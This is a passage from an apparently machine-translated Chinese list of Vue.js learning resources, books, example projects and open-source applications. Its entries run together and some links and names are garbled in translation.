项目中](作者:Bjorn Krols,@KrolsBjorn( https://twitter.com/KrolsBjorn)[Bjorn Krols 的如何将 ESLint 添加到您的 Vue 项目,@KrolsBjorn如何通过 Vue 中的 URL 查询参数使内容动态化(https://medium.com/@BjornKrols/tutorial-dynamic-content-via-url-query-parameters-in-vue-js-d2df19b66633) Krols,@KrolsBjorn如何为 AWS S3 托管的 Vue 应用程序启用历史记录模式作者:Bjorn Krols,@KrolsBjorn[Bjorn Krols 的使用断点调试 Vue 应用程序的基本介绍,@ KrolsBjorn使用 ButterCMS 无头后端构建 Vue.Js 电子商务应用程序MASTER VUE.JS使用 Go 和 Vue.js 构建投票应用程序使用 Vue.js 构建协作绘画应用程序使用 Stripe 构建实时付款信息中心使用 Vue.js 构建加密货币跟踪器使用 Vue.js 构建设计反馈应用程序使用 Flask 和 Vue.js 开发单页应用使用 Stripe,Vue.js 和 Flask 接受付款[serverlarup.net 上的使用 Laravel 和 VueJS 进行 API 驱动的开发(免费课程)在 Vue.js 中管理状态,作者:哈桑·吉尔德(Hassan Djirdeh),@djirdehh由 Vue.js 制作的真实世界项目,由 Packt 的 Daniel Khalil 撰写。(2018 年 8 月)[Heartbeat(Vue + NW.js 视频系列)]https://goo.gl/8p3msR),作者:@@ ackzell(https://github.com/ackzell)(2017-2018)带有 Nuxt.js 的 Firebase 服务器端渲染 Vue 应用程序(带有 JavaScript 框架的服务器端渲染)Firebase 使用 Nuxt.js(使用 JavaScript 框架的服务器端渲染)测量 Vue SSR 性能)使用 D3 和 Vue 创建交互式地图(2018 年 10 月)编写通用的,支持 SSR 的 Vue 组件的指南[Vue School]的Vue.js 基础知识(https://vueschool.io)Vuex for Everyone由Vue School[Vue School]的Vue.js 表单验证(https://vueschool.io)[Vue School]的Vue.js 大师班(https://vueschool.io)[Vue School]的Vue.js Firebase 实时数据库(https://vueschool.io)[Vue School]的Vue.js Firebase 身份验证(https://vueschool.io)[Vue School]的带有 Vue.js 的动态表单(https://vueschool.io)[Vue School]的Custom Vue.js Directives(https://vueschool.io)Vue.js 应用程序开发要点,作者是 Packt 的 BartłomiejPotaczek。(2018 年 10 月)对 Vue.js 进行故障排除,作者:克里斯蒂安·赫尔(Packet Hur),帕特。(2018 年 10 月)Nuxt.js-类固醇上的 Vue.js,作者:MaximilianSchwarzmüller,Packt。(2018 年 10 月)使用 Quasar(和 Vue)构建电子文件资源管理器,作者:@@ hawkeye64](https://github.com/hawkeye64)。(2018 年 11 月)[Udemy]上的使用 Vue JS 2 和 Firebase 构建 Web 应用程序(https:// [The Net Ninja]的 www.udemy.com/)(https://www.thenetninja.co.uk/)[Udemy]上的Vue JS 2-完整指南(包括 Vue Router 和 Vuex)( https://www.udemy.com/),MaximilianSchwarzmüller[使用 Vue.js,Vuex,Vuetify 和 Firebase 的 SPA 应用程序(第 1 部分)](https://www.jenniferbland.com/spa-application-using-vue-js-vuex-vuetify-and-firebase-part -1 /)由 Jennifer Bland @ratracegrad。(2018 年 11 月)[使用 Vue.js,Vuex,Vuetify 和 Firebase 的 SPA 应用程序(第 2 部分)](https://www.jenniferbland.com/spa-application-using-vue-js-vuex-vuetify-and-firebase-part -2 /)由 Jennifer Bland @ratracegrad。(2018 年 11 月)[使用 Vue.js,Vuex,Vuetify 和 Firebase 的 SPA 应用程序(第 3 部分)](https://www.jenniferbland.com/spa-application-using-vue-js-vuex-vuetify-and-firebase-part -3 /)由 Jennifer Bland @ratracegrad。(2018 年 11 月)[使用 Vue.js,Vuex,Vuetify 和 Firebase 的 SPA 应用程序(第 4 部分)](https://www.jenniferbland.com/spa-application-using-vue-js-vuex-vuetify-and-firebase-part -4 /),作者是 Jennifer Bland @ratracegrad。(2018 年 11 月)[詹妮弗·布兰德(Jennifer Bland)@ratracegrad将国际化添加到 Vue 应用程序 )。(2018 年 11 月)由 Vue JS 2 编写的实用项目,作者是 Packt 的 Jack Herrington。(2018 年 12 月)[Lessipe](https:// lessipe)的Lessipe上的Vue.js기초다지기(视频) .com /)由 Vue.js 和 Node.js 进行的全栈 Web 开发,作者 Haider Rehman, Packt。(2019 年 1 月)Designer for Vue,由 Design + Code 提供(2019 年 2 月)[Talat Tufekci]的Vue 土耳其语简介(https://www.onbirkod.com)[Talat Tufekci]的使用土耳其语的 Vue-Resource 提取数据(https://www.onbirkod.com)[Talat Tufekci]的使用土耳其语 Vue-router 的 Spa 应用程序 /www.onbirkod.com)[Talat Tufekci]的使用土耳其语的 Vue-cli 创建 Vue 项目 https://www.onbirkod.com)[Taul Tufekci]的Vue 组件和土耳其语 Vuex 之间的消息传递 .onbirkod.com)[作者:Michael Thiessen]如何在vue中动态添加类名称使用 ScaffoldHub 使用 Vue JS,Node JS 和 SQL 或 MongoDB 构建图书馆 Web 应用程序作者 Felipe Lima [@scaffoldhub_io](https:// twitter.com/scaffoldhub_io)使用 NativeScript + Vue 构建实时位置跟踪应用,由 Saibbyweb 撰写事例使用 Laravel 中的 JWT Auth +示例后端 API 的入门应用程序节点 Webkit + Vue 示例@brandonjpierceVue 样本@superlloyd使用 vue.js + vue-router 的 HackerNews 克隆,作者@kazupon电子+ Vue 示例,@ bradstewart[Boris Okunskiy]的单页应用程序示例(Vue + Voie)(https://github.com/inca)开始-用 Vue +流明编写的 Task Manager SPA,作者是Raj Abishek[BosNaufal]的Vue Mini Shop(https://github.com/BosNaufal)Vue SoundCloud由mul14功能请求(Laravel + Vue 组合)由haydenbbickerton[@ yjj5855]的Vue Cookbook(Vue1.0 + Express)(https://github.com/yjj5855):演示服务的第一个屏幕渲染Strong Together-一个启动器项目,基于 Browserify 和 Semantic-,以独立或 Laravel / Laravel Spark 项目的形式构建单页 Vue.js 应用程序, ui)由WebSemanticsvuetest:在 iframe 中具有用户身份验证,bootstrap ui,上传器,所见即所得编辑器的广告管理网站vue-shopping由andylei18Vue-cnodejs,060由@shinygangvue-zhihu-daily由hilongjwVueChess- [gustaYo]的多人在线国际象棋游戏(https://github.com/gustaYo)Ngexplorer-vuejs-client- Nugexplorer的正式客户端](https://github.com/gustaYo)[Vue 2048(Vue + Webpack)][https:// pengfu](https:// pengfu](https://github.com/pengfu)的https://pengfu.github.io/vue-2048/):流行的 2048 游戏使用 Vue 实现,Webpack,Sass,ES6[BosNaufal]的Vue Simple PWA(https://github.com/BosNaufal)Tour of Heroes(Vue 2.0):Angular 2.0 的 Vue 2.0 端口[Tour of Heroes](https:// angular。 io / docs / ts / latest / tutorial /)演示应用程序。亮点:ES6 / 7,渲染功能,JSX,revue(Vue 的 Redux 绑定),[vue-router](https://github.com/vuejs/ vue-router),Airbnb eslint,webpack。由@ aweber1vue-table-pagination由echovic进行分页的表Feathers and Vue 2.0 Blog Admin Demo演示了如何在 Vue 2.0 中使用 Feathers。它包含[delay]的身份验证,vue 路由器,vue 无限加载和角色(https://github.com/delay)vue-zhihudaily-2.0Zhihudaily 演示程序是使用 Vue 2.0,vue-router 和 vuex 构建的,并具有服务器端渲染功能。由cs1707vue-demo-todolist是一个简单的 vue2.0 演示,它使用 Vue 2.0 vue-cli 构建。通过fishenal[liueans]的vue-AdminLte(https://github.com/liujians)vue(2.0)+ Node.js:博客内容管理系统(CMS),作者@ycwalkerngexplorer-quasar- Ngexplorer的实现与[quasar 框架](https: //gust.Yo 的//github.com/rstoenescu/quasar-framework)(https://github.com/gustaYo)zhihu-daily-vuemoonou基于 vue2.0 的 zhihu 日报loopback-vueloopback + vue + vue-resource,ionic-app,vue 页面分页功能,验证权限控制,访问令牌机制,凭证,CI ,docker qxl1231vue-s3-dropzoneVue.js 拖放组件可将文件无服务器上传到 AWS S3easy-vue一个简单的示例,使用 vue 在 vue 2.0,vuex 2.0,vue-router 2.0,vue-infinite-scroll 2.0, [TIGERB]的 vue-progressbar 2.0(https://github.com/tigerb)[度量循环]的Vuex 事件消息演示(https://metricloop.com/blog)vue-memo使用 Vue.js(> 2.x。),vue-router(> 2.x。),vuex( > 2.x。),vuex-router-sync @ next(> 3.x。)和 Firebase(> 3.6.x),作者为akifoResume Vue[ChangJoo Park]的基于 JSON 的基于 Vue 2.0 的简历(https://github.com/ChangJoo-Park/) -使用Phoenix Framework,Vue 和 Vue Router(demo开发的具有 JWT 身份验证的应用示例 phoenix-vue-auth.herokuapp.com))@ Angarsk8在 Vue 2.0 中使用路由器示例 CRUD 应用(https://github.com/shershen08/vue.js-v2-crud-application)(https://github.com/shershen08)[@mgyongyosi]的ASP.NET Core Vue.js 服务器端呈现示例(https://github.com/mgyongyosi)vuefire-quickstart-通过@sejr记录的带 Webpack 和 eslint 的 Firebase 集成。hello-vue-django Vue.js 和 Django 集成入门项目,带有热代码重载实时社交新闻应用,是由Phoenix,Vue,Vue Router 和 Vuex([_demo _](https ://loopa-news.herokuapp.com)),作者为@ Angarsk8vue-calculator是一个使用 Vue 2.0 构建的简单计算器,vue-cli(webpack-simple)。通过CaiYiLiangWikipedia-viewer一个简单的 Wikipedia-viewer 页面,使用 vue2.x,vue-router,vue-cli(webpack)构建-simple)和 ajax(jsonp)。通过CaiYiLiangvue2.x-douban使用 vue2.x,vue-router 和 axios(豆瓣电影)构建豆瓣电影的简单方法。通过超人vue-laravel-exampleVue-Laravel-示例是使用 Laravel 设置 Vue 的简单示例。通过Jiajian Chanvue-foundation一个演示应用程序,将 VueJS 与Zurb Foundation集成,使用 webpack vue-cli faspnetcore-Vue-starter一个 VueJS 2 入门模板,它是 asp.net MVC dotnetcore 项目的一部分。该模板包括 VueJS 客户端应用程序和后端 API 控制器。vue-reddit-app使用 Vue 2 构建的 Reddit SPA demo。 X,Vue 路由器 2,Vuex 和 axios。@ yujiahaol68使用 Muse-UI 和 vue-cli Webpack 模板vue-music-qq一个 qq-music 项目基于 vue-cli。页面简单流畅带有 Vue-Redux 和 Plain VueJSX 的 NavigationTab导航选项卡同时具有普通 Vue JSX 和 Vue + Redux 绑定Veggie Map使用 Vuejs + Vue 路由器+ Leaflet 和 Firebase 的交互式演示vuejs-d3示例如何使用 d3 进行可视化的示例。vue-twitter-client使用 Vue 2.X,Vuex,electron-vue 和 Electron 构建的 Twitter 客户端应用程序Douban使用 Vue2.x + Vuex + Vue-router + vue-resource 创建的很棒的 douban 示例。通过jeneserStoryblok vuejs-boilerplate-集成 Storyblok 的组件系统,允许创建可编辑的网站。Vuexpresso-使用 VueX,Vue-Router,Vue-Apollo,webpack,GraphQL,Apollo-client,express 和 mongo 的样板带有 Sails.js 示例项目的 Vue.js-该项目适用于单页应用程序的新手,并希望通过实际学习例。Vue.js&Pyramid Web 框架应用程序-使用 Pylons Pyramid Webframework 后端 Vuejs webpack2,vue-router,yarn(数据包管理器)的样板vue-feathers-chat在前端使用 Vue,在后端使用 Feathers 进行的示例实时聊天,但仅使用 Socket.IO-Client 进行通信vue-xplan使用 Vue 和 three.js 创建的旋转地球演示页面vueSocketChatRoom使用 vue2.x,vuex2.x,vue-router2.x,vux2.x,socket.io 的套接字聊天室@Binaryify的vue-tetris(使用 Vue,Vuex,不可变代码 Tetris 编码):使用 Vue,Vuex,Immutable 编码俄罗斯方块。@kasheftin的route-planner-vue:用于规划具有多个路线的工具 Google 地图上可排序的图层,可拖动的方向,标记和形状。MyDiary-Vue使用 Vue 2.X 构建的日记应用程序,还具有联系人和待办事项列表功能AliGÖREN在 Github 上的VueJS 示例项目todo-mvc-webpack由voluntapear使用 webpack-basic 在 Vue 2 上实现 TodoMVC 模板,并带有显示 vuex,vue-router,中央事件总线和 VueFire 的示例。[gustaYo]的Chess Storybook Example与 Vue 2.0(https://github.com/gustaYo)Vue Weather Notifier一个带有 SVG 和 Vuex 的小型示例动画应用程序Nuxt 类型一个带有 Nuxt 的示例 Vue 项目,用于路由/ SSR 到演示页面转换VueBlog一个博客系统,支持wmui的服务端渲染Cinemateka-用 Vue v1 和 Laravel 5 制作的 SPA 的示例。电影和活动时间表。俄罗斯的评论。vue-2.x-boilerplate-适用于 Vue 项目 Vuex + vue-router 的简单入门套件vue-minesweeper-由[rhapsodyn]开发的带有 vuejs 的致命简单扫雷游戏(https://github.com/rhapsodyn)X-Flowchart-Vue- [OXOYO]的 SVG 和 Vue 流程图编辑器(https://github.com/OXOYO)koa-vue-notes-web-充实的 SPA,在后端使用 Koa 2.3,在前端使用 Vue 2.4。包括功能齐全的用户身份验证组件,针对用户笔记的 CRUD 操作以及 Vuex 存储模块。Vuejs 购物车-使用 Vuejs 和 Firebase 的购物车示例PokedexVueJs@ rchung95vuefire-auth使用 Firebase 进行 Vuefire Vue2-Auth-Email 验证vuefire-realtimedatabase具有 Firebase 的 Vuefire Vue2-RealtimeDatabaseCRUDvuefire-storage具有 Firebase 的 Vuefire Vue2-Storagevue2-PWA-Blog@ deepak-singhvue-firebase-auth-vuex具有 Vuex 的 Vue2 Firebase 身份验证,并支持渐进式 Web 应用程序vue-chart-stater-kit使用 Vue 路由器,Vue 图表,Element-UI 的快速入门vue2.0-demos使用 mint-ui,Element-UI,并有一些演示(选择城市等)conwayConway 在 Vue 中的生活游戏。vuex-feature-scoped-structure功能范围 vuex 应用程序结构的示例应用程序vuex-examples-有关使用 Vuex 构建真实世界应用程序的简单示例vue-vuex-todomvc-示例 TodoMVC Vue.js 应用程序具有通过 REST 的 Vuex 存储和服务器后端以及使用赛普拉斯(Cypress)的全套 E2E 测试。 io测试运行程序。vuejs-sqljs-boilerplate-这是同时使用 Vue.js 和 sql.js 的样板X-WebDesktop-Vue- [OXOYO]基于 Vue 的 WebDesktop 系统(https://github.com/OXOYO)vuejs-music-player-一个 Vue.js 精简音乐播放器Vue.js 最佳实践示例项目-使用 Vue.js + Vue 路由器+ Vuex + Vuelidate 的最佳实践示例项目[Vue.js 一个]客户端- [一个]用 Vue2.5 编写的客户端Vue.js 2.5,带有 vue-cli v3,包括使用 auth0 进行身份验证,作者多米尼克·安格(Dominik Angerer),StoryblokSkeleton Vue + TypeScript-TypeScript,VueJS,ElementUI,Vue Router,Vuex,材质图标,BrowserSync,Dockerfile@jesalg的PENV Starter-有关如何在 VueJS,Express 和 PostgreSQL 中使用的基本示例连词。vue-relay-examples-使用 vue-relay 的示例应用程序的集合。laravel-vue-boilerplate-具有用户 CRUD 的 Laravel 5.5 SPA 样板,使用 Vue.js 2.5,Bootstrap 4,TypeScript,Sass,Pug 和笑话。Vue 设计系统-用于使用 Vue.js 构建 UI 设计系统的开源样板。Vue Bulma 演示-一个简单的演示网站,可联合检查 Bulma / Vue JS 和 express。准备好使用 TypeScript,vuex,vue-router,HMR 等进行生产的入门应用程序vue.js 与 laravel 结合的前阶段分离开发模板-laravel 护照/ Vue.JS 和 Element UI 的模板网站。由 Vue.js 进行的 Web 开发动手,作者:Roman Kuba,Packt。(2018 年 5 月)Vue 在线商城-在线 SPA 演示,基于 VUE 开发的前分离电子商城前端项目FUE-使用 Vue.js + Vue 路由器+ Vuex + Vuetify + FeathersJS 的 Admin SPA 客户端和服务器端样板Vue + TypeScript 食谱-一本小小的食谱,涵盖了一些不太明显的解决方案,供人们开始使用 Vue + TypeScriptVuejs 示例ASP.NET Core Vue 入门 CLI 3.0使用 Vue CLI 3.0 和自定义配置(默认 TypeScript,Vue,路由器)的 Vue 入门模板,Vuex,Vuetify)通过@SoftwareAteliers与 ASP。&#8203; NET Core 集成(2018 年 9 月)vue-soundcloud由Soroush Chehresa用 Vue.js 2 构建的 Soundcloud 客户端。vue-cart一个由 vue,vuex 和 vue 路由器制成的简单购物车。通过crisgonNuxt + Apollo + Element一个带有 Nuxt,Element(自定义主题)和 Vue Apollo 的 Vue.js SSR 样板。vue-daily-zhihu由walleeeee使用 Vue 2.0 和 vue-router&vuex 构建的简单演示)木炭使用 Vue CLI 3.0 并由[Seth Davis]用 Bulma 样式设置的入门模板(https://github.com/setholito)带有 TypeScript 的多页 ASP.NET Core Vue-多页 ASP.NET Core Vue,Typescript,Vuex,Vue 路由器,布尔玛,Sass 和 Jest 应用程序。有关如何在.NET Core MVC 中将 Vue.js 用作多页(多个迷你 spa)应用程序的模板/起点。CION-Vue.js 的设计系统样板-一个主要为 Vue.js 应用程序设计的设计系统。它利用设计令牌,带有集成代码游乐场的生活风格指南以及用于常见 UI 任务的可重用组件。Vue websockets 示例-使用 Vue.js 2 + Node 项目的 Websockets 使用的基本示例,以获取完整的工作示例。Vue(2.0)+ Node.js:一个博客,作者@ FatDong1vue-todo-list待办事项列表示例应用程序基于 Vue + Vuex + Vuetify + Vee-ValidateVue.js 和 Ionic v4 示例-一组如何在 Vue.js 中使用 Ionic v4 的示例使用 Vue,Vuex 和 Vue-Router 的个人网站- MuratcanŞentürk 用 vue,vuex 和 vue-router 制作的简单网站示例客户端 Vue.js- 演示-Vue.js 客户端端,用于[Justin Wash]的微型,快速加载,无 node.js 的单页应用程序(https://github.com/Trifectuh)大型 Vue.js 应用样板+ Vuex无画布的 Vue.js 上的蛇游戏使用 CometChat 构建 Vue 聊天应用书籍Vue.js je 下,作者:Alex Kyriakidis 和 Packt 的 Kostas Maniatis。(2016 年 11 月)学习 Vue.js 2,作者:Packt 的 Olga Filipova。(2016 年 12 月)Vue.js 2 的威严,作者:Alex Kyriakidis 和 Lestapub 的 Kostas Maniatis。(2017 年 3 月)Vue.js 2 Cookbook,作者是 Andrea Passaglia,Packt。(2017 年 5 月)Vue.js 实战,作者 Erik Hanchett 和 Benjamin Listwon(2018 年春季)测试 Vue.js 应用程序作者 Edd Yerburgh(2018 年夏季)Vue.js 2 和 Bootstrap 4 Web 开发,Packt 的 Olga Filipova。(2017 年 9 月) -Casa doCódigo 的 Leonardo Vilarinho 的Front-end com Vue.js。(2017 年 11 月) -Packt 的 Guillaume Chau 撰写的Vue.js 2 个 Web 开发项目。(2017 年 11 月)Full-Stack Vue.js 2 和 Laravel 5,Packt Anthony Gore。(2017 年 12 月)[Package Mike Street 的Vue.js 2.x 示例。(2017 年 12 月) -Oleksandr Kocherhin 的Mastering Vue.js。(2018 年 1 月)Fullstack Vue:Vue.js 完整指南,作者:哈桑·迪吉德(Hassan Djirdeh),内特·默里(Nate Murray)和阿里·勒纳(Ari Lerner)。(2018 年 3 月) -Packt 的 Paul Halliday 撰写的Vue.js 2 设计模式和最佳做法。(2018 年 3 月)Vuex 快速入门指南,作者:Packt 的 Andrea Koutifaris。(2018 年 4 月)使用 Vue.js 和 Node 进行全栈 Web 开发,作者:Aneeta Sharma,Packt。(2018 年 5 月) -Flavio Copes 的Vue 手册。(2018 年 7 月)ASP.NET Core 2 和 Vue.js,作者:Stuart Ratcliffe,Packt。(2018 年 7 月)[Vue.js:解释性解释](Casa doCódigo 的 Caio Incau)(https://www.casadocodigo.com.br/products/livro-vue)。(2017 年 9 月)了解 Vue.js,作者是 Brett Nelson,Apress。(2018 年 8 月)精益:构建与部署,作者 Leanpub 的 Daniel Schmitz。(2018 年 9 月)由 Spring 5 和 Vue.js 2 构建应用程序,作者:James J. Ye,Packt。(2018 年 10 月)Vue.js 快速入门指南,Packt 的 Ajdin Imsirovic。(2018 年 10 月) -Frederik Dietz 撰写的Vue.js 组件模式课程(2019 年 4 月)博客文章Vue x Hasura GraphQL在 Vue.js 中使用 GraphQL 突变了解如何使用 Vue.JS 构建数据驱动的搜索 UI使用 GitLab CI / CD 将 Vue.js 应用程序自动部署到 AWS S3将 Vue 应用程式码头化使用 Docker 和 Gitlab CI 将 Flask and Vue 应用程序部署到 Heroku[Kevin Peters]的大型 Vuex 应用程序结构[Kevin Peters]的在 Vue.js 中构成计算属性通过实际示例了解如何重构 Vue.js 单个文件组件由Kevin Peters开源的PageKit-使用 Symfony 组件和 Vue.js 构建的模块化轻量级 CMS。npmcharts.com-比较 npm 软件包并发现下载趋势。Koel-可以正常工作的个人音乐流服务器。Raven 阅读器-使用原子电子和 vue.js 制作的简单 RSS 阅读器。Gokotta-由电子和 vue 构建的简单音乐播放器。CoPilot-基于 AdminLTE 和 vue.js 集成的管理门户。Retrospectify-在敏捷团队中进行协作回顾的简单工具。jade-press-基于 mongodb,nodejs,koa,vue 等的 Cms。astralapp-轻松组织 GitHub Stars。EME-优雅的 Markdown 编辑器。Github-explorer-一个可以帮助您更好地检查 github 的水疗中心。酒店-从浏览器启动开发服务器,并在几秒钟内获得本地域。Surfbird-使用现代网络技术编写的 Twitter 客户端。Approach0-一个可识别数学的搜索引擎。Flox-自托管电影,系列和动漫观看列表。JavaScript Guessing Game-用于识别 JavaScript 工具和库的游戏。vue-ghpages-blog-Vue.js 2 + Webpack 2 基于 GitHub 页面的博客。Vuedo-使用 Laravel 和 Vue.js 构建的博客平台。vue-music163-一个 Vue.js 音乐项目。Tomato5-实时协作工具,它将 Pomodoro 技术与团队状态共享板结合在一起。Web 学习-一种服务,可让您轻松访问有关 Web 开发和编程的数千个视频教程。ExcelJSON-一种将 CSV,TSV 与 JSON 相互转换的工具。Materialize-blog-使用 Laravel5.3 和 Vue2.x 构建的材料博客。VueCompomnentGenerator-在浏览器上生成 vue 单个文件组件。SDR 新闻-来自多个来源(Reddit,Hacker News 和 Prominent Blogs)的 Web 设计人员和开发人员新闻。PJ Blog-使用 Laravel 和 Vue.js 构建的开源博客。Lulumi-browser-Lulumi-browser 是使用 Vue.js 2 和 Electron 编码的轻型浏览器。vue-wordpress-pwaOpenAPI 3 查看器-浏览并测试 OpenAPI 3.0 规范中描述的 REST APIStacer-Linux 系统优化程序和监视Distrochooser.de-Linux 初学者的入门指南Buka-电子书管理文档-一个无需构建过程即可编写文档的框架pm86-Node.js 应用网站的生产流程经理vms-一个 Vue.js 2.0 管理系统nativescript-vue-NativeScript 渲染器的 Vue.js 实现。piper-基于 Vue 的拖放式移动网站构建器。mmf-blog-vue2-基于 Vue2(Vue-router,Vuex)和 Webpack2 的博客。媒体管理器-Web 文件管理器。dyu / bookmarks-一个由 leveldb 驱动的自包含,自托管的书签应用程序,由 Vue2.1.x 构建。JSON 模式编辑器-JSON 模式的直观编辑器。使用 Vue.js 2 和 Firebase 开发。npm-stats-npm 包下载统计信息面板vue2-admin-lte-一个将 AdminLTE 转换为可与 Vuejs(v2.x)一起使用的项目。Dockeron-基于 Electron + Vue.js 构建的桌面 Docker 项目。Flamme-一个基于 Education 和 Vue.js 构建的开源 Tinder 桌面客户端,用于教育目的Goldfish-使用 VueJS,Golang 和 Bulma CSS 构建的 HashiCorp Vault UI管理-基于Vuetify的管理控制台,请选中[在线演示](http:// adminify。 genyii.com)提示-用 Vue.js 编写的框架,用于在 Web 浏览器中创建类似命令行的界面。Hare-🐇 基于 Vue.js 2.x,Koa 2.x,Element-UI 和 Nuxt.js 的应用程序样板Paper-Dashboard-为 Vue 制作的 Creative Tim Paper DashboardAdminLTE-VueJS2-一个在 AdminLTE 上实现 VueJS(v2.x)的开源项目。材质仪表板-为 Vue 制作的创意 Tim 材质仪表板Explore-Github-VueJS 2 Github Explorer 使用 API v3CoreUI-由 Vue.js 支持的开源管理模板ChuckNorris-使用 VueJS + api.chucknorris.io 构建的 Chuck Norris 笑话生成器LeafPlayer-一个简单,快速,私有的音乐流服务器。JSON 编辑器-一种可识别架构的 JSON 编辑器。用 Vue2 开发。Voten-使用 Vue2 和 Laravel 构建的类似 Reddit 的平台。News Weaver-使用 VueJS 和 VuetifyJS 制作的基于 Web 的 RSS 阅读器/聚合器唤醒 Billie Joe!-根据绿日的歌曲“唤醒我,当九月结束”而倒计时到十月的网站。使用 Vue 和 Firebase 创建。Astrum-旨在包含在任何 Web 项目中的轻量级模式库。vue2-pwa-vision-带有 Vue2 + Vuetify +渐进式 Web App 的人脸检测 Google Cloud Visionvue2-pwa-rekognition-使用 Vue2 + Vuetify + Progressive Web App 进行人脸检测的 Amazon RekognitionAmmoBin.ca-有关加拿大在线弹药价格的元搜索网站SPA-asp.net-api-vuejs--用于使用基本任务管理和消息传递的 Vue.js 单页应用程序 ASP .NET Webapi 2 和 SQL ServerBook-Trading-Club-与您所在地区的其他图书读者进行贸易或借阅图书。使用 nodejs 和 vuejs2 构建vuejs-extension-pack vscode-扩展 packf 或 vscode,具有用于 Vue.js 开发的流行 VS Code 扩展。Wiki.js-基于 NodeJS,Git 和 Markdown 构建的现代,轻量级且功能强大的 Wiki 应用程序vue-pwa-speech-在 Vue2 + Vuetify + Progressive Web App 上使用 Google Cloud 进行文字演讲vue-speech-streaming-在渐进式 Web App 上执行流式语音识别可通过 Google Cloud Speech + socket.io 实时生成语音到文本我的动画列表-一个易于获取 CSS 动画代码的工具vue-input-streaming-使用 Pusher 进行 TextInput 流实时和双向数据绑定广播TidyTab-一个 Chrome 扩展程序,用于整理这些标签。peregrine-cms-基于 Vue.js 和 Apache Sling 的可选 CMSconcept-to-clinic-具有 Vue.js 界面的肺癌预测项目grid-awesome-使用 css 显示为网格布局生成样板 css:grid; 属性。Light Bootstrap 仪表板-为 Vue 制作的创意 Tim Light Bootstrap 仪表板Hubaga-适用于开发人员和其他数字商店的免费轻量级 WordPress 电子商务插件。vue-webpack-buefy-具有全功能 Webpack 和 Buefy 的 Vue.js 入门Coypu-类似文本编辑器的每周计划核心服务器-高度可扩展的 VueJs 框架,具有集成的 API 系统和多种高级功能。discord-logo-基于 SVG 的 Vue.js 动画不和谐徽标生成器。(Github 页面)node-vue-template-用于使用 Node.js(API)和 Vue.js(SPA)构建完整应用程序的入门模板,其中包括一些软件包和配置,以帮助快速开始开发。vue-storefront-Vue.js 店面-电子商务的 PWA。100%离线,与平台无关,无头,支持 Magento2。fd-vue-IoT 框架的 Vue.js 客户端wildfire-其他注释插件的替代品。收据-简单的自动化桌面应用程序,可以从 Uber 和 Lyft 下载并整理您的税款发票。vue-chrome-extension-boilerplate-使用 Vue.js 和 Webpack 进行 Chrome 扩展的样板TimeMark-一个可以记录您的时间的时间管理器,还将开发更多功能。Laravel Enso-由 Bulma,VueJS 和 Laravel 构建的 SPA 管理面板,开箱即用地打包了很多功能。代码说明-针对使用 Electron&Vue.js 构建的开发人员的简单代码段管理器。Pomotroid-简单,美观且可自定义的 Pomodoro 计时器。XMR Miner-加密货币(XMR)挖掘应用程序,使用 Vue.js 构建并使用 D3 进行可视化XMR Paper-Monero 钱包生成器,使用 Vue.js 构建JoyProxy-Chrome 扩展程序,用于处理代理设置活动自动化-管理日常活动并及时获取报告。jsettlers-web流行的德国棋盘游戏,用赚来的资源建造六角形,定居点,城市,道路Tamiat CMS-Tamiat 是面向前端的 CMS,使用 Vue.JS 作为前端,并与 Firebase 集成了后端功能。vuegg-vue GUI 生成器:一次性创建模型和代码!它通过其可视化编辑器利用页面,组件和样式的创建。为您的下一个 vuejs 项目生成所有脚手架代码。Podlove Web Player-经过 Podcast 优化的基于 HTML5 的音频播放器,具有章节,字幕和嵌入功能。Leo Vue-使用开源 Leo 概述编辑器/ IDE 创建带有嵌套菜单的 Web 应用程序,并支持内容中的 Vue 组件。Justine-使用 Vue 组件作为文档模板的可配置 HTML 文档生成器(当前支持 JSDoc)Deezer-Vue-使用 Vue \ Vuex 构建的 Deezer 客户端Vuep.run-Vue 的在线 SFC 编辑器V·oogle-Google.com,已修订Pomidorus-使用 Vue 和 D3 构建 Pomodoro 时间跟踪器 🍅Hubble-:telescope:浏览 GitHub Stars 的历史。Vuepress-简约的 Vue 驱动的静态网站生成器Socialhome-具有社交网络功能的联合富个人资料生成器GenVue-一个可托管的 Web 应用程序,允许机密用户上传和共享基于 Vue.js,Vuetifyjs 和 NetCore WebAPI 堆栈的私有文件vue-array-Vue 下的数组对象操作,Vue 下的数组对象操作使用此包可操作数组。Vue 可以监视阵列中的更改Laqu-l-具有 Quasar Framework,带有 OAUTH 2.0 身份验证的 GraphQL API 后端,Firebase 就绪,多语言功能等的完整应用入门套件。Protovue-一个原型组件库,可帮助设计人员和开发人员快速搭建抽象的应用程序布局。Chattier-使用 Laravel 5.6,Vue.js 2 和 Bulma(Buefy 组件+ Bulmaswatch 主题)构建的 SPA 社交网络。还使用 JWT 身份验证。chrome-ribbon-reminder-使用 Vue 和 Async / Await 编写的 Chrome 扩展程序。使用弹出显示并更改徽章计数。收藏夹-一个简单的简单收藏夹生成器。模块化家谱-使用 Laravel 5.7,Vue.js 2.5 和各种组件的家谱/族谱管理系统。工作正在进行中。最小注释-使用 Vue.js 构建 Web 应用烘焙一个应用程序,旨在帮助咖啡爱好者在学习 Laravel + Vue.js 的同时找到他们的下一杯咖啡。堆栈编辑-浏览器内 Markdown 编辑器Bael 博客模板-静态生成的博客模板,该模板使用 Netlify CMS 作为后端,使用 Netlify 进行托管。具有野蛮美学,模糊搜索,无服务器电子邮件注册等功能。Buefy Shop示例商店,开源的,具有 Nuxt,Stripe,Firebase,Bulma 和无服务器功能。sysmon用于 Linux 的 AB / S 模式系统监视器。您可以在任何地方通过 Web 浏览器远程监视系统资源的使用情况。eth-vue一个松露盒子,提供您快速构建具有 Vue.js 身份验证功能的以太坊 dApp 所需的一切,包括易于部署到 Vue.js 的配置。 Ropsten 网络。它还具有 Gravatar 功能。Nippon-color受 nipponcolors 点 com 的启发。这是使用 vue-cli 3 的日本彩色 PWA 版本。Saleina CMS一个静态网站内容管理系统,使用 git 作为后端使用 vue 构建。Vuido用于创建本机桌面应用程序的框架。它可以使用本机 GUI 组件在 Windows,OS X 和 Linux 上运行。YouGetYouTube 视频/音频/字幕下载器+ CutterVue Pug 手写笔Vue + Pug +手写笔样板 💚🐶🖌Crypto News允许您转换加密货币,查看每个 ICO 的最新新闻和汇率–来自一个加密货币世界的所有数据。Epiboard一个新的选项卡页面扩展,具有材料设计和有用的功能:new::tada:zhudyos / duic分布式配置中心:新:Vuemmerce使用 Vue.js 和 Bulma 框架构建的免费电子商务模板:新:Nucleus分层体系结构 ASP.NET Core API 和 Vuejs 客户端应用程序启动模板Carpoolear阿根廷拼车应用程序的开源 Vue.js 前端(移动和 Cordova 